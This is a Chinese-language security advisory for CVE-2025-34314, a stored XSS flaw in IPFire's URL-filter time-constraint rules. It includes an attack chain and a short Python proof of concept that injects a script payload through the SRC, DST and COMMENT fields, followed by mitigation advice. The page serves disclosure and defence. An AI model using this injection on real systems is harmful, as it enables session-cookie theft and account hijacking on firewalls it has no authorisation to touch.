IPBUF安全漏洞报告
English
CVE-2025-34314 CVSS 5.4 中危

CVE-2025-34314: IPFire时间约束规则存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34314
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSS跨站脚本IPFire防火墙Web应用安全CVE-2025-34314认证绕过时间约束规则

漏洞概述

CVE-2025-34314是IPFire防火墙中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于IPFire 2.29 Core Update 198之前的版本中,攻击者可以通过时间约束规则功能注入恶意JavaScript代码。漏洞位于Web管理界面的/cgi-bin/urlfilter.cgi端点,攻击者利用SRC、DST和COMMENT参数在创建时间约束规则时注入恶意脚本。由于这些输入值被存储在数据库中且未经过适当的消毒处理,当其他用户查看受影响的时间约束条目时,注入的脚本会在其浏览器上下文中执行,从而实现窃取会话Cookie、劫持用户账户或进行其他恶意操作。此漏洞需要攻击者具有低权限认证账户,并通过用户交互触发。

技术细节

漏洞存在于IPFire的URL过滤器模块中,具体在处理时间约束(TIME_CONSTRAINT)规则的逻辑中。当用户通过HTTP POST请求访问/cgi-bin/urlfilter.cgi端点,设置MODE参数为TIMECONSTRAINT时,应用程序接收SRC(源主机名/IP)、DST(目标)和COMMENT(备注)参数的值。这些参数值被直接存储到后端数据库中,随后在Web界面渲染时未经过充分的输入验证和输出编码。攻击者可以构造包含<script>标签或事件处理器(如onerror、onload)的恶意Payload,例如在COMMENT字段中注入<script>alert(document.cookie)</script>。由于存储型XSS的特性,恶意脚本会被永久保存在服务器端,任何访问该时间约束规则的用户都会触发代码执行。攻击者通常利用此漏洞窃取受害者的会话令牌或执行特权操作。

攻击链分析

STEP 1
步骤1
攻击者获取IPFire的低权限认证账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的POST请求,访问/cgi-bin/urlfilter.cgi端点
STEP 3
步骤3
在SRC、DST或COMMENT参数中注入XSS Payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
将MODE参数设置为TIMECONSTRAINT,触发时间约束规则创建功能
STEP 5
步骤5
恶意脚本被存储在服务器数据库中,任何访问该时间约束规则的用户都会触发代码执行
STEP 6
步骤6
攻击者通过XSS窃取受害者的会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-34314 Stored XSS in IPFire Time Constraint Rule # Target: IPFire < 2.29 Core Update 198 target_url = "http://target-ip:444/cgi-bin/urlfilter.cgi" # Malicious payload for stored XSS xss_payload = '<script>alert(document.cookie)</script>' # Authentication credentials (low-privilege user) auth = ('attacker', 'password') # Create time constraint rule with XSS payload data = { 'MODE': 'TIMECONSTRAINT', 'ACTION': 'SAVE', 'SRC': '192.168.1.1' + xss_payload, 'DST': 'any' + xss_payload, 'COMMENT': 'Time constraint rule' + xss_payload } response = requests.post(target_url, data=data, auth=auth) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when any user views the time constraint rule") else: print("[-] Injection failed")

影响范围

IPFire < 2.29 Core Update 198

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制/cgi-bin/urlfilter.cgi的访问权限,仅允许受信任的管理员访问;2)监控Web服务器日志,检测异常的XSS Payload;3)使用Web应用防火墙(WAF)规则拦截包含<script>标签的请求;4)临时禁用时间约束规则功能直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表